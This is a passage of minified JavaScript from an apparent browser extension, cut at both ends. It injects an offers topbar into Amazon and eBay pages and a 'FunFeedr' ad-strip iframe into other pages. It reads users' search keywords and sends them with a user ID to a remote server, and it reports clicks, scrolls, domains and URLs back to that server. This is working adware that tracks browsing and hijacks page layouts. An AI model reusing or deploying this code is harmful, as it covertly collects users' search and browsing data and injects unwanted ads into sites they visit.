font-weight: inherit;",f.appendChild(w);var C=document.createElement("tbody");w.appendChild(C);var E=!0,_=!1,S=void 0;try{for(var k,T=function(){var e=k.value,t=document.createElement("tr");t.style.cssText="border-width: 1px medium medium; border-style: solid none none; border-color: rgb(136, 136, 136) -moz-use-text-color -moz-use-text-color; -moz-border-top-colors: none; -moz-border-right-colors: none; -moz-border-bottom-colors: none; -moz-border-left-colors: none; border-image: none; margin: 1px 0px; cursor: pointer;",t.style.borderTopColor="rgb(136, 136, 136)",t.addEventListener("click",function(){window.open(e.dispURL,"_self")}),C.appendChild(t);var n=document.createElement("td");n.style.cssText="border: medium none; text-align: center; width: 105px;; vertical-align: middle !important;",t.appendChild(n);var o=document.createElement("img");o.src=e.imgURL,o.style.cssText="max-width: 100px; min-height: 100px;",n.appendChild(o);var a=document.createElement("td");a.style.cssText="border: medium none; font-size: 130%; width: 95px;; vertical-align: middle !important;",a.style.fontFamily="Times New Roman",a.textContent=e.price,t.appendChild(a);var r=document.createElement("td");r.style.cssText="border: medium none; font-weight: bold;; vertical-align: middle !important;",r.style.fontSize="16px",r.style.fontFamily="Times New Roman",t.appendChild(r),r.appendChild(document.createTextNode(e.title)),r.appendChild(document.createElement("br"));var i=document.createElement("span");i.style.cssText="font-weight: normal; color: rgb(128, 128, 128);",i.innerText="From "+e.mrch,r.appendChild(i)},U=e[Symbol.iterator]();!(E=(k=U.next()).done);E=!0)T()}catch(z){_=!0,S=z}finally{try{!E&&U["return"]&&U["return"]()}finally{if(_)throw S}}var N=document.createElement("div");N.className="_m2_alert",N.style.display="none",N.style.position="fixed",N.style.right="0px",N.style.width="260px",N.style.boxSizing="border-box",N.style.borderRadius="10px",N.style.boxShadow="0px 0px 5px 5px rgb(136, 136, 136)",N.style.padding="6px",N.style.marginLeft="-225px",N.style.backgroundColor="white",N.style.zIndex="9999999",N.style.top="40px",N.style.padding="8px",n.appendChild(N);var D=document.createElement("span");D.textContent="Stop showing me better offers for my searches for:",N.appendChild(D),N.appendChild(document.createElement("br"));var R=document.createElement("select");R.style.marginTop="10px",R.style.width="100%",N.appendChild(R);var Y=document.createElement("option");Y.value="hour",Y.textContent="One hour",R.appendChild(Y);var I=document.createElement("option");I.value="day",I.textContent="One day",R.appendChild(I);var L=document.createElement("option");L.value="week",L.textContent="One week",R.appendChild(L);var B=document.createElement("option");B.value="ever",B.textContent="Ever",R.appendChild(B);var F=document.createElement("div");F.className="_m2_buttons",N.appendChild(F);var Q=document.createElement("div");Q.className="_m2_button",Q.textContent="Cancel",Q.style.marginRight="10px",Q.addEventListener("click",function(){N.style.display="none"}),F.appendChild(Q);var G=document.createElement("div");G.className="_m2_button",G.textContent="Ok",G.style.minWidth="58px",G.style.textAlign="center",G.addEventListener("click",function(){switch(R.value){case"hour":localStorage.topbarSnzUntil=new Date((new Date).getTime()+36e5);break;case"day":localStorage.topbarSnzUntil=new Date((new Date).getTime()+864e5);break;case"week":localStorage.topbarSnzUntil=new Date((new Date).getTime()+6048e5);break;case"ever":localStorage.topbarSnzUntil=new Date((new Date).getTime()+31536e6)}n.style.display="none",document.body.classList.remove("_f2_twenga_tb_visible")}),F.appendChild(G),document.body.appendChild(n),document.body.classList.add("_f2_twenga_tb_visible")}}var _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};chrome&&chrome.runtime&&chrome.runtime.onMessage&&chrome.runtime.onMessage.addListener(function(e,t,n){if("getKeyword"===e){var o,a="";if(location.host.startsWith("www.amazon.")){if(o=/[?&]field-keywords=([^&#]+)/.exec(location.href))return void n(o[1])}else if(location.host.startsWith("www.ebay.")&&(o=/[?&]_nkw=([^&#]+)/.exec(location.href)))return void n(o[1]);if(!a){var r=function(){var e=[];if(document.location.href.match(/\\/\\/www\\.ebay\\..*\\//)){var t=function(){for(var t=document.location.href.match(/\\/\\/www\\.ebay\\..*\\/itm\\/([^\\/]*)/),o=t[1].replace(/-$/,"").split("-"),r=0;r<o.length;r++){var i=o[r],l=["and","or","is","new","neu","mit","ohne"];i.length>2&&!i.match(/[^a-zA-Z]/)&&!l.includes(i.toLowerCase())&&e.push(i.toLowerCase())}var d=[],c=[];if(e.forEach(function(e){d.forEach(function(t){t.kw===e&&c.push([t.kw,t.count])})}),c.length<3)return n(encodeURIComponent(e.join(" "))),{v:{v:void 0}};c.sort(function(e,t){return t[1]-e[1]}),c=c.splice(0,3);for(var s=[],p=0;p<c.length;p++){var m=c[p][0],A=t.indexOf(m);s.push([m,A])}s.sort(function(e,t){return e[1]-t[1]});for(var h=0;h<s.length;h++){var u=" ";h+1==s.length&&(u=""),a+=s[h][0]+u}a=a.toLowerCase()}();if("object"===("undefined"==typeof t?"undefined":_typeof(t)))return t.v}else document.location.href.match(/\\/\\/www\\.amazon\\..*\\//)&&!function(){var t=document.head.children.keywords.content;t=t.replace(/\\(.*?\\)/g,"").replace(/[.-]/g,"").replace(/\\s{2,}/g," "),t.match(/(.*?),/)&&(t=t.match(/(.*?),/)[1]),e=t.replace(/(^\\s|\\s$)/,"").split(" ");var n=[];e.forEach(function(e,t){e.match(/\\d/)&&n.push(t)}),n.reverse().forEach(function(t){e.splice(t,1)}),a=e.join(" ").toLowerCase()}()}();if("object"===("undefined"==typeof r?"undefined":_typeof(r)))return r.v}n(encodeURIComponent(a))}else{var i=document.querySelector("._f2_twenga_tb");i&&document.body.removeChild(i),buildTopbar(e.ofList,e.k)}});', | |
css: "._f2_twenga_tb ._f2_bar,._f2_twenga_tb ._f2_container{width:100%;position:fixed;top:0;left:0;right:0;text-align:left}._f2_twenga_tb ._f2_container,._m2_alert{font-family:Helvetica!important;font-style:normal;font-weight:400}._f2_twenga_tb ._f2_text,._m2_button{vertical-align:middle;font-size:14px;white-space:nowrap}._f2_twenga_tb ._f2_container{z-index:65535;height:37px;box-sizing:border-box;-moz-box-sizing:border-box;margin:0;background-size:auto 100%;background-repeat:repeat-x;border-bottom:1px solid #aaaaab;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAIAAADHFsdbAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABZSURBVBhXLcZHCoAwAAXRf/+d2GsUC57M7gWSCA7oYnij557lrwknHHHEQQ/5s8ceu7/26zBo5I6Gb+T2CmssscRCntyW87SllMmuCSYYY4yRHNklxFB2CV6le1o8sRqhAQAAAABJRU5ErkJggg==);font-size:14px;color:#443001;vertical-align:middle}._f2_twenga_tb ._f2_container *{font-family:Helvetica!important;vertical-align:middle}._f2_twenga_tb ._f2_bar{table-layout:fixed;background:0 0;border-collapse:collapse;overflow:hidden;vertical-align:middle}._f2_twenga_tb ._f2_bar td{border:0;height:37px;vertical-align:middle}._f2_twenga_tb ._f2_logo{width:20px;vertical-align:middle;padding:0}._f2_twenga_tb ._f2_text{padding:0 0 0 21px;display:block;overflow-x:hidden}._f2_twenga_tb ._f2_text div{margin:9px 0;text-overflow:ellipsis;overflow:hidden;vertical-align:middle}._f2_twenga_tb ._f2_buttons{min-width:150px;width:230px;vertical-align:middle;padding:0 30px 0 0}._f2_buttons{width:330px!important}._f2_twenga_tb_button{user-select:none;-moz-user-select:none;-webkit-user-select:none}td{border:none}._m2_alert{line-height:1.2;font-size:14px}._m2_buttons{text-align:right;padding-top:10px;margin-left:auto}._m2_button{display:inline-block;height:30px;border:1px solid #988e63;border-radius:4px;box-sizing:border-box;padding:7px 6px 6px;cursor:pointer;text-overflow:ellipsis;overflow:hidden;max-width:200px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAAcCAIAAADECPmYAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABeSURBVBhXLY6LDcQwCEMd9h+0O1yD7xkagSx/IBz/Hltl+8hFC7CbgrV0yxFVclOFIgFhFzYDKPFsvMscL1veiWRZYNmYsEkGEElSbPm8Te7v4ryIsN6BiJoD6aP+AwvJWYcG7cEmAAAAAElFTkSuQmCC);background-size:auto 100%;background-repeat:repeat-x;user-select:none;-moz-user-select:none;-webkit-user-select:none}body._f2_twenga_tb_visible #Body,body._f2_twenga_tb_visible #a-page{margin-top:37px!important}body._f2_twenga_tb_visible #miniATFUDP{top:37px!important}body._f2_twenga_tb_visible #gb{top:37px}body._f2_twenga_tb_visible#srchrslt{margin-top:37px}._f2_twenga_tb_first{line-height:16px}", | |
onUpdatedInEnableTopbar: function(e, t, n) { | |
m2.popunders[n.windowId] || t && "loading" === t.status && (/^https?:\/\/[\w\-\.]+amazon[\w\-\.]+\/.*/i.test(n.url) || /^https?:\/\/[\w\-\.]+ebay[\w\-\.]+\/.*/i.test(n.url)) && ! function() { | |
var t = { | |
code: m2.css | |
}, | |
n = { | |
code: m2.code | |
}; | |
chrome.tabs.insertCSS(e, t, function() { | |
chrome.tabs.executeScript(e, n, function() { | |
chrome.tabs.sendMessage(e, "getKeyword", function(t) { | |
t && m2.getOffersList(t, void 0, "topbar", function(n) { | |
n && n.length && chrome.tabs.sendMessage(e, { | |
ofList: n, | |
k: t | |
}) | |
}) | |
}) | |
}) | |
}) | |
}() | |
}, | |
enableTopbar: function() { | |
chrome.tabs.onUpdated.addListener(this.onUpdatedInEnableTopbar) | |
}, | |
disableTopbar: function() { | |
chrome.tabs.onUpdated.removeListener(this.onUpdatedInEnableTopbar) | |
}, | |
getOffersList: function(e, t, n, o) { | |
if (!localStorage.uID || !localStorage.c) return void o([], e); | |
if (!this.OLwaiting) { | |
this.OLwaiting = !0; | |
var r = { | |
uID: localStorage.uID, | |
c: localStorage.c, | |
k: e, | |
l: t, | |
tp: n | |
}, | |
a = Object.keys(r).filter(function(e) { | |
return r[e] || 0 === r[e] | |
}).map(function(e) { | |
return e + "=" + encodeURIComponent(r[e]) | |
}).join("&"); | |
fetch(server + "/getOffersList", { | |
method: "POST", | |
headers: this.headers, | |
body: a | |
}).then(function(e) { | |
return e.json() | |
}).then(function(t) { | |
m2.getOffersList.ec = 0, m2.OLwaiting = !1, t.error ? m2.sendError("Error from API server (OL) - " + t.error) : t.s && o(t.ofList, e) | |
}).catch(function(r) { | |
m2.OLwaiting = !1; | |
var a = "ec" in m2.getOffersList ? ++m2.getOffersList.ec : m2.getOffersList.ec = 1; | |
a > 5 ? (m2.getOffersList.ec = 0, m2.sendPixel("API server is unavailable (OL)", ev + " - " + r.message)) : m2.getOffersList(e, t, n, o) | |
}) | |
} | |
}, | |
enableButton: function() { | |
chrome.browserAction.setPopup({ | |
popup: "algoad/popup.html" | |
}), chrome.runtime.onMessage.addListener(function(e, t, n) { | |
if ("getOfList" === e) return m2.getOffersList(localStorage.k || "", void 0, "topbar", function(e, t) { | |
n({ | |
ofList: e, | |
k: t | |
}) | |
}), !0 | |
}) | |
}, | |
enableGads: function() { | |
chrome.runtime.onMessage.addListener(function(e, t, n) { | |
return "getOfList" === e.action ? (m2.getOffersList(e.k, 25, "gads", function(e, t) { | |
e = e.filter(function(e) { | |
return e.desc | |
}), e.sort(function() { | |
return .5 - Math.random() | |
}), e.splice(4), n(e) | |
}), !0) : void("getBrandName" === e.action && n(bn)) | |
}) | |
}, | |
enableInTextAndImageAds: function() { | |
chrome.runtime.onMessage.addListener(function(e, t, n) { | |
"setDispRpt" === e.action && m2.setDispRpt({ | |
uID: localStorage.uID, | |
c: localStorage.c, | |
d: e.d, | |
tp: e.tp, | |
dispURL: e.dispURL, | |
prID: e.prID, | |
k: e.k | |
}) | |
}) | |
}, | |
enableClicksAndScrolls: function() { | |
chrome.runtime.onMessage.addListener(function(e, t, n) { | |
"mp_click" !== e.action && "mp_scroll" !== e.action || m2.setDispRpt({ | |
uID: localStorage.uID, | |
c: localStorage.c, | |
d: e.d, | |
tp: e.tp, | |
dispURL: e.dispURL, | |
prID: e.prID, | |
k: decodeURIComponent(localStorage.k) || "", | |
brURL: e.brURL | |
}) | |
}) | |
}, | |
code2: '"use strict";function injectStrip(){function e(){chrome.storage.local.get(["arList","scrollLeft"],function(e){var A=e.arList,t=e.scrollLeft;document.querySelector("#microbe-container")||A.length&&!function(){var e=document.createElement("style");e.id="microbe-style-lifted",e.textContent=".microbe-lifted{transform:translateY(-89px)!important;}",document.body.appendChild(e);var n=document.createElement("iframe");n.id="microbe-container",n.setAttribute("microbe-id",id),n.style.position="fixed",n.style.left=0,n.style.right=0,n.style.bottom=0,n.style.height="89px",n.style.zIndex=2147483647,n.style.padding=0,n.style.margin=0,n.style.width="100%",n.style.border="none",n.style.borderRadius=0,n.setAttribute("scrolling","no"),n.onload=function(){var e=n.contentWindow.document.createElement("style");e.textContent=css,n.contentWindow.document.body.appendChild(e),n.contentWindow.document.body.style.margin=0,n.contentWindow.document.body.style.padding=0,n.contentWindow.document.body.appendChild(buildStrip(A,"FunFeedr",n.contentWindow.document)),addSpace(),injected=!0,visible=!0,n.contentWindow.document.querySelector("._mc_feed_box").scrollLeft=t},document.body.appendChild(n),function o(){if(chrome.runtime.getManifest())setTimeout(o,600);else{var e=document.querySelector(\'#microbe-container[microbe-id="\'+id+\'"]\');e&&removeStrip(),observer.disconnect()}}()}()})}!function A(){document.body?e():setTimeout(function(){A()},15)}()}function removeStrip(){var e=document.querySelector("#microbe-container");e&&(e.parentElement.removeChild(e),removeSpace());var A=document.querySelector("#microbe-style-lifted");A&&A.parentElement.removeChild(A)}function updateStrip(){removeStrip(),injectStrip()}function showStrip(){var e=document.querySelector("#microbe-container");e&&(e.style.display="",addSpace(),visible=!0)}function hideStrip(){var e=document.querySelector("#microbe-container");e&&(e.style.display="none",removeSpace(),visible=!1)}function addSpace(){function e(){var e=document.querySelector("#viewport"),A=document.querySelector(".gridContainer.wrapper"),t=document.querySelector("#body-content"),n=document.querySelector("#msgs_div");if(e)e.style.marginBottom=parseFloat(getComputedStyle(e).marginBottom)+89+"px";else if(A)A.style.marginBottom="89px";else if(t)t.style.marginBottom="89px";else if(n)n.style.paddingBottom="89px";else{if(document.querySelector("#microbe-space"))return;var o=document.createElement("div");o.id="microbe-space",o.style.height="89px",o.style.padding="0",o.style.margin="0",o.style.margin="0",o.style.border="none",o.style.borderRadius="0",o.style.width="100%",o.style.backgroundColor="transparent",document.body.appendChild(o)}}function A(){for(var e=document.querySelectorAll("body *"),A=0;A<e.length;++A)if("fixed"===getComputedStyle(e[A]).position&&parseFloat(getComputedStyle(e[A]).bottom)<=100&&"microbe-container"!==e[A].id){parseFloat(getComputedStyle(e[A]).bottom);e[A].classList.add("microbe-lifted")}observer.disconnect(),observer.observe(document.body,{attributes:!0,childList:!0,subtree:!0})}"loading"===document.readyState?document.addEventListener("DOMContentLoaded",function(A){e()},!1):e(),"loading"===document.readyState?document.addEventListener("DOMContentLoaded",function(e){A()},!1):A()}function removeSpace(){function e(){var e=document.querySelector("#viewport"),A=document.querySelector(".gridContainer.wrapper"),t=document.querySelector("#body-content"),n=document.querySelector("#msgs_div");if(e)e.style.marginBottom=parseFloat(getComputedStyle(e).marginBottom)-89+"px";else if(A)A.style.marginBottom="";else if(t)t.style.marginBottom="";else if(n)n.style.paddingBottom="";else{var o=document.querySelector("#microbe-space");o&&o.parentElement.removeChild(o)}}function A(){observer.disconnect();var e=document.querySelectorAll(".microbe-lifted"),A=!0,t=!1,n=void 0;try{for(var o,r=e[Symbol.iterator]();!(A=(o=r.next()).done);A=!0){var i=o.value;i.classList.remove("microbe-lifted")}}catch(a){t=!0,n=a}finally{try{!A&&r["return"]&&r["return"]()}finally{if(t)throw n}}}"loading"===document.readyState?document.addEventListener("DOMContentLoaded",function(A){e()},!1):e(),"complete"===document.readyState?A():window.addEventListener("load",function(e){A()},!1)}function buildStrip(e,A,t){var n=t.createElement("div");n.className="_mc_feed";var o=t.createElement("div");o.className="_mc_feed_box",o.addEventListener("wheel",function(e){e.preventDefault(),e.deltaY<0?o.scrollLeft-=50:e.deltaY>0&&(o.scrollLeft+=50),emitScrollLeft(o.scrollLeft)},!1),n.appendChild(o);var r=t.createElement("div");r.className="_mc_feed_arrow _mc_left",r.addEventListener("click",function(){!function e(A){A>=20?setTimeout(function(){o.scrollLeft-=20,emitScrollLeft(o.scrollLeft),e(A-20)},10):(o.scrollLeft-=A,emitScrollLeft(o.scrollLeft))}(254)},!1),n.appendChild(r);var i=t.createElementNS("http://www.w3.org/1999/xhtml","img");i.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAUCAYAAAC07qxWAAAACXBIWXMAAAsTAAALEwEAmpwYAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfAC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zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAEZ0FNQQAAsY58+1GTAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAABmSURBVHjajNDJDcAwCATAjdMFBbon0yx5xfIBLEj8RhwLMwPrMYY1kFJVA4BWQSlcUQhP5EIPXTBCG8zQhAwBwCsiFNEcN9h7f8oTK3iuZni7McPXMxF2v/ZwGM+J0xxXTAP/8TcABuBAVyb/IdsAAAAASUVORK5CYII=",r.appendChild(i);var a=t.createElement("div");a.className="_mc_feed_grad _mc_left",n.appendChild(a);var c=t.createElement("div");c.className="_mc_feed_arrow _mc_right",c.addEventListener("click",function(){!function e(A){A>=20?setTimeout(function(){o.scrollLeft+=20,emitScrollLeft(o.scrollLeft),e(A-20)},10):(o.scrollLeft+=A,emitScrollLeft(o.scrollLeft))}(254)},!1),n.appendChild(c);var l=t.createElementNS("http://www.w3.org/1999/xhtml","img");l.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAUCAYAAAC07qxWAAAACXBIWXMAAAsTAAALEwEAmpwYAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRm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A+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAABlSURBVHjajNBRDsAgCAPQroflTnpZ/GJxDqgmJtK8QARjDHd3qEsAmHM6xGE8FOZedJhnUGFmYYZZjToxuw/smGotgSUMfAWvO5rZwxskOwZq4Y5KeKIUZugHK/SBHXqhQgCwBgAPj0HWlyfSJwAAAABJRU5ErkJggg==",c.appendChild(l);var d=t.createElement("div");if(d.className="_mc_feed_grad _mc_right",n.appendChild(d),"offer"===e[0].tp){var g=t.createElement("div");g.className="_mc_offer_entry",g.id="_mc_offer_entry",g.style.position="relative",g.style.display="inline-block",o.appendChild(g);var m=t.createElement("a");m.href=e[0].dispURL,m.target="_blank",m.title=e[0].title,m.className="_mc_offer_link",m.style.cursor="pointer",m.addEventListener("click",function(A){"object"===("undefined"==typeof chrome?"undefined":_typeof(chrome))&&chrome.runtime.sendMessage({action:"setDispRpt(articles)",d:location.hostname,tp:"articles",dispURL:e[0].dispURL,prID:e[0].prID})},!1),g.appendChild(m);var p=t.createElementNS("http://www.w3.org/1999/xhtml","img");p.className="_mc_offer_thumb",p.src=e[0].imgURL,m.appendChild(p);var s=t.createElement("div");s.className="_mc_offer_desc",m.appendChild(s);var f=t.createElement("div");f.className="_mc_offer_title",f.textContent=e[0].title,s.appendChild(f);var C=t.createElement("div");C.className="_mc_offer_price",C.textContent=e[0].price,s.appendChild(C);var u=t.createElement("div");u.className="_a7_ab",u.setAttribute("style","width: 100%; text-align: right; font-size: 0.8em; padding: 0px; margin: 0px; border: none; background: transparent;"),u.style.pointerEvents="none",g.appendChild(u);var h=t.createElement("a");h.href="javascript:void(0)",h.target="_blank",h.className="_mc_offer_about",h.textContent="Ads by "+A,u.appendChild(h)}for(var E="offer"===e[0].tp?1:0;E<e.length;++E){var B=t.createElement("div");B.className="_mc_feed_entry",o.appendChild(B);var Q=t.createElement("div");Q.className="_mc_feed_idx",Q.appendChild(t.createTextNode("offer"===e[0].tp?E:E+1)),B.appendChild(Q);var x=t.createElement("a");x.setAttribute("href",e[E].dispURL),x.setAttribute("target","_blank"),x.setAttribute("title",e[E].title),x.className="_mc_feed_link",x.style.cursor="pointer",B.appendChild(x);var w=t.createElementNS("http://www.w3.org/1999/xhtml","img");w.className="_mc_feed_thumb",w.setAttribute("src",e[E].imgURL),x.appendChild(w);var b=t.createElement("div");b.className="_mc_feed_title",b.appendChild(t.createTextNode(e[E].title.toString())),x.appendChild(b)}return n}function emitScrollLeft(e){chrome.storage.local.set({scrollLeft:e,id:id},function(){})}var _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},injected=!1,visible=!1,id="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var A=16*Math.random()|0,t="x"==e?A:3&A|8;return t.toString(16)}),observer=new MutationObserver(function(e){if(chrome.runtime.getManifest()){var A=!0,t=!1,n=void 0;try{for(var o,r=e[Symbol.iterator]();!(A=(o=r.next()).done);A=!0){var i=o.value;if("attributes"===i.type&&("microbe-container"===i.target.id||"fixed"===getComputedStyle(i.target).position&&parseFloat(getComputedStyle(i.target).bottom)<=100&&i.target.classList.add("microbe-lifted")),"childList"===i.type){var a=!0,c=!1,l=void 0;try{for(var d,g=i.addedNodes[Symbol.iterator]();!(a=(d=g.next()).done);a=!0){var m=d.value;if(1===m.nodeType)if("microbe-container"===m.id);else{"fixed"===getComputedStyle(m).position&&parseFloat(getComputedStyle(m).bottom)<=100&&m.classList.add("microbe-lifted");var p=m.querySelectorAll("*"),s=!0,f=!1,C=void 0;try{for(var u,h=p[Symbol.iterator]();!(s=(u=h.next()).done);s=!0){var E=u.value;"fixed"===getComputedStyle(E).position&&parseFloat(getComputedStyle(E).bottom)<=100&&("microbe-container"===E.id||E.classList.add("microbe-lifted"))}}catch(B){f=!0,C=B}finally{try{!s&&h["return"]&&h["return"]()}finally{if(f)throw C}}}}}catch(B){c=!0,l=B}finally{try{!a&&g["return"]&&g["return"]()}finally{if(c)throw l}}}}}catch(B){t=!0,n=B}finally{try{!A&&r["return"]&&r["return"]()}finally{if(t)throw n}}}else observer.disconnect()});removeStrip(),chrome.storage.local.get("visible",function(e){visible=!!e.visible,visible&&injectStrip(),chrome.storage.onChanged.addListener(function(e){e.visible&&(e.visible.newValue?injected?showStrip():injectStrip():injected&&hideStrip()),e.arList&&chrome.storage.local.get("visible",function(e){e.visible&&updateStrip()}),e.scrollLeft&&injected&&chrome.storage.local.get("id",function(A){if(A.id!==id){var t=document.querySelector("#microbe-container"),n=t.contentWindow.document.querySelector("._mc_feed_box");n.scrollLeft=e.scrollLeft.newValue}})})});var css="\\n._mc_feed {\\n display: inline-block;\\n /* position: fixed; */\\n left: 0;\\n right: 0;\\n width: 100%;\\n bottom: 0;\\n z-index: 2147483647;\\n height: 89px;\\n}\\n\\n._mc_feed *, ._mc_feed_sections_container, ._mc_feed_feeds_container, ._mc_feed_sections_container *, ._mc_feed_feeds_container * {\\n z-index: 2147483647;\\n font-family: Arial, sans-serif;\\n font-size: 11px;\\n box-sizing: border-box;\\n -moz-box-sizing: border-box;\\n}\\n\\n._mc_feed a {\\n text-decoration: none;\\n}\\n\\n._mc_feed_box {\\n padding: 2px;\\n background: #333;\\n bottom: 0;\\n margin: 0 28px;\\n height: 89px;\\n white-space: nowrap;\\n overflow: hidden;\\n}\\n\\n._mc_feed_box._mc_feed_loading {\\n background-image: url(data:image/gif;base64,R0lGODlhKgAqAPUAADMzM////05OTmZmZlJSUmFhYYmJiXFxcTQ0NFdXV39/fzk5OXZ2dj8/P2xsbISEhHp6elxcXERERElJSaKiov////Ly8s/Pz8bGxufn57GxsdTU1MrKyp6ent7e3r+/v7a2tpKSkqysrNnZ2ezs7I6OjpmZmaenp7q6ugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC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/IkmMnCpDy8lGwoX9DmlglOkQsXnePSb8VRSVnUQafNLzRMDgu/vG9aLCUMjDKougqGQ7l8jiKocBLIg29t2QBAwYOAjsOjORBRGCnxMa18tAqUKamzkLffUX6E0QvIbwHDuAq0kKUM8SBAAh+QQACgAHACwAAAAAKgAqAAAG/0CAcEgsEgmOQwJhbDqfRcTAQDUwFtCsFpCoVh3bcJPhpT6w4jRAUTacjQjmdmHyZESS4qGtkAsFBwoQBX5ODR4ViYkCRAJtBURdXgyFRhSKih5FBZN+Cw9tCVAWmIqiRHtuDY1tBmBPpYoQRQtsp0MErQdQF7EVIUYFCkYRrbdNDr4fRhIDRlNllFkhvpUIq0UQXg8OlU4SDxQavRWzWY4HEQIS2GoACBAoWQgRE+5P7ff6++9GgAwHGPErAkgBgwhDIigQtNDZQCGcvIBpIAiCRQgG8+xbkKoMgQgPLl5c6EBAPi0IJChsZWAASJEWSZpM00AYy5YCKo5kIFAfAbg2oQA40KngwMl7Dch4gSBnAEYIDh++E/aAG5ohR6UiWHBVqlciEyJ4I4IgQU93DSYIiLCHgJYJBgaZndD1CQIHoKr0oVUXgFK9bqEg6PjFSILAkVrZe5LrkZEk/nRBcWCsSIOqGofA5TNWCLQyZwGkYkqkQau9ThyVeZCvWGFUjqEQNoBwiGovtYUs0FaFtOAIGAPq4UxkQQQGBzs3GfvXS1avzc30/epa4tflhCE8/1o2SYHpWYIAADsAAAAAAAAAAAA=);\\n background-position: center center;\\n background-repeat: no-repeat;\\n}\\n\\n._mc_feed_entry, ._mc_offer_entry {\\n margin: 5px;\\n background-color: #242424;\\n color: #848484;\\n display: inline-block;\\n overflow: hidden;\\n width: 244px;\\n}\\n\\n._mc_feed_link {\\n display: inline-flex;\\n width: 216px;\\n}\\n\\n._mc_offer_link {\\n display: inline-flex;\\n width: 245px;\\n}\\n\\n._mc_feed_entry a, ._mc_feed_entry a:visited, ._mc_offer_entry a, ._mc_offer_entry a:visited {\\n background-color: #242424;\\n color: #848484;\\n}\\n\\n._mc_feed_entry:hover, ._mc_feed_entry:hover a, ._mc_offer_entry:hover, ._mc_offer_entry:hover a {\\n background-color: #111;\\n color: #fff;\\n}\\n\\n._mc_feed_idx {\\n font-size: 16px;\\n font-weight: bold;\\n position: relative;\\n margin: 5px;\\n top: 23px;\\n float: left;\\n}\\n\\nimg._mc_feed_thumb {\\n float: left;\\n margin: 5px 5px 5px 0;\\n height: 64px;\\n width: 96px;\\n}\\n\\nimg._mc_offer_thumb {\\n float: left;\\n margin: 5px;\\n height: 64px;\\n width: 64px;\\n}\\n\\nimg._mc_feed_thumb_empty {\\n padding: 17px 29px;\\n opacity: 0.5;\\n}\\n\\n._mc_offer_desc {\\n display: inline-flex;\\n flex-direction: column;\\n}\\n\\n._mc_feed_title, ._mc_offer_title {\\n font-weight: bold;\\n float: left;\\n margin: 5px 5px 5px 0;\\n /*margin-top: 20px;*/\\n /*width: 100px;*/\\n /*height: 50px;*/\\n max-height: 50px;\\n width: 119px;\\n overflow: hidden;\\n white-space: normal;\\n line-height: 1.1em;\\n align-self: center;\\n}\\n\\n._mc_offer_title {\\n margin-top: 5px;\\n max-height: 36px;\\n width: 166px;\\n align-self: flex-start;\\n}\\n\\n._mc_offer_price {\\n font-weight: bold;\\n align-self: flex-start;\\n}\\n\\n._mc_offer_about {\\n position: absolute;\\n right: 0;\\n bottom: 0;\\n padding: 1px 3px;\\n border-top-left-radius: 5px;\\n}\\n\\n._mc_feed_arrow {\\n width: 28px;\\n background-color: #333;\\n height: 89px;\\n position: absolute;\\n bottom: 0;\\n text-align: center;\\n cursor: pointer;\\n}\\n\\n._mc_feed_grad {\\n position: absolute;\\n height: 89px;\\n width: 27px;\\n bottom: 0;\\n}\\n\\n._mc_feed_arrow._mc_right {\\n right: 0;\\n}\\n\\n._mc_feed_grad._mc_right {\\n right: 28px;\\n background: 